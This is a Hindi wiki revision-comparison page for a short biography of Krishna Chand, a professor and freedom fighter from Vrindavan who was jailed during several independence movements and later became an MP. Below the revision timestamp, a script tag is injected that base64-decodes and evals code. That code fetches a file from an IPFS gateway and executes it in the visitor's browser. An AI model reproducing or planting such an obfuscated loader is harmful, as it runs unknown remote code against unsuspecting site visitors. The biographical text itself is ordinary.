"कृष्ण चन्द्र प्रोफ़ेसर स्वतंत्रता सेनानी" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
छो |
|||
पंक्ति १: | पंक्ति १: | ||
{{Menu}}<br /> | {{Menu}}<br /> | ||
[[चित्र:कृष्ण चन्द्र प्रोफ़ेसर.jpg|thumb]] | [[चित्र:कृष्ण चन्द्र प्रोफ़ेसर.jpg|thumb]] | ||
− | |||
− | |||
==श्री कृष्ण चन्द्र प्रोफ़ेसर / Krishna Chand, Professor== | ==श्री कृष्ण चन्द्र प्रोफ़ेसर / Krishna Chand, Professor== | ||
आत्मज श्रीराम। | आत्मज श्रीराम। | ||
− | वृन्दावन,मथुरा। | + | वृन्दावन, मथुरा। |
− | नमक सत्याग्रह व विदेशी वस्तु बहिष्कार आन्दोलन में भाग लेने के कारण | + | नमक सत्याग्रह व विदेशी वस्तु बहिष्कार आन्दोलन में भाग लेने के कारण सन 1930 में 1 वर्ष के कारावास का दण्ड मिला। |
− | सविनय अवज्ञा आन्दोलन में भाग लेने के कारण | + | सविनय अवज्ञा आन्दोलन में भाग लेने के कारण सन 1932 में 1 वर्ष के कारावास का दण्ड पाया और 100 रुपये जुर्माना हुआ। |
− | व्यक्तिगत सत्याग्रह आन्दोलन के दौरान | + | व्यक्तिगत सत्याग्रह आन्दोलन के दौरान सन 1940 में पकडे गये और 8 मास जेल में रहे। |
− | "भारत छोड़ो" आन्दोलन में भाग लेने के कारण 12 सितम्बर | + | "भारत छोड़ो" आन्दोलन में भाग लेने के कारण 12 सितम्बर सन 1942 को पकड़े गये और 13 जुलाई, 1944 को नजरबन्दी से छूटे। |
भूतपूर्व संसद सदस्य स्वर्गवासी हैं। | भूतपूर्व संसद सदस्य स्वर्गवासी हैं। | ||
+ | |||
+ | [[en:Krishna Chand, Professor Freedom Fighter]] | ||
+ | [[category:स्वतन्त्रता संग्राम]] | ||
__INDEX__ | __INDEX__ |
०६:५८, ३ दिसम्बर २००९ का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
श्री कृष्ण चन्द्र प्रोफ़ेसर / Krishna Chand, Professor
आत्मज श्रीराम।
वृन्दावन, मथुरा।
नमक सत्याग्रह व विदेशी वस्तु बहिष्कार आन्दोलन में भाग लेने के कारण सन 1930 में 1 वर्ष के कारावास का दण्ड मिला।
सविनय अवज्ञा आन्दोलन में भाग लेने के कारण सन 1932 में 1 वर्ष के कारावास का दण्ड पाया और 100 रुपये जुर्माना हुआ।
व्यक्तिगत सत्याग्रह आन्दोलन के दौरान सन 1940 में पकडे गये और 8 मास जेल में रहे।
"भारत छोड़ो" आन्दोलन में भाग लेने के कारण 12 सितम्बर सन 1942 को पकड़े गये और 13 जुलाई, 1944 को नजरबन्दी से छूटे।
भूतपूर्व संसद सदस्य स्वर्गवासी हैं।